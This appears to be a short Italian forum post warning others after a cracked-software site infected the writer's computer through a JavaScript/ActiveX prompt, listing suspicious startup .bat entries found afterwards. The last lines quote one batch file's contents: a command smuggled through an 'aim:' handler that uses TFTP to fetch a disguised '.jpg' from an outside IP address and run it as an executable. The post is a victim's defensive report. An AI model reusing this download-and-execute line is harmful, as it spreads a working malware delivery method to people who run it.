questo sito presenta centinaia di software con crack, così spudoratamente a cielo aperto...
posto ciò che mi è successo sperando di essere di aiuto ad altri, dal momento che tutti i termini e file in questione non risultano in nessun motore di ricerca (come se ce ne fosse più di uno) ne è rilevato da nessun antivirus, ne da hijackthis
aprendo le pagine del sito compare uno stranissimo alert javascript che tenta di installare un active-x senza successo ...ma ad occhio qualcosa c'è riuscito dal momento che al riavvio del compaiono 3 finestre del CMD.EXE che fanno qualcosa.... citando uno strano file sbgwfx.exe e fjwe.jpg. I file di crack risultano sani, salvo un sospetto da parte di WBA ...cmq troppo bello per essere vero, quindi non li ho cliccati
cosa strana: noto nel registro queste voci (che per hijackthis sono ok):
aprendone uno a caso con ultraedit trovo preciso quello che cercavo!!O4 - Global Startup: hxbazp.bat
O4 - Global Startup: nysft.bat
O4 - Global Startup: oplke.bat
...mo passo alla cancellazione !!![url]
item=aim: &tftp -i 192.115.70.1 GET fjwe.jpg c:\hbvo.exe&c:\hbvo.exe
Rispondi quotando
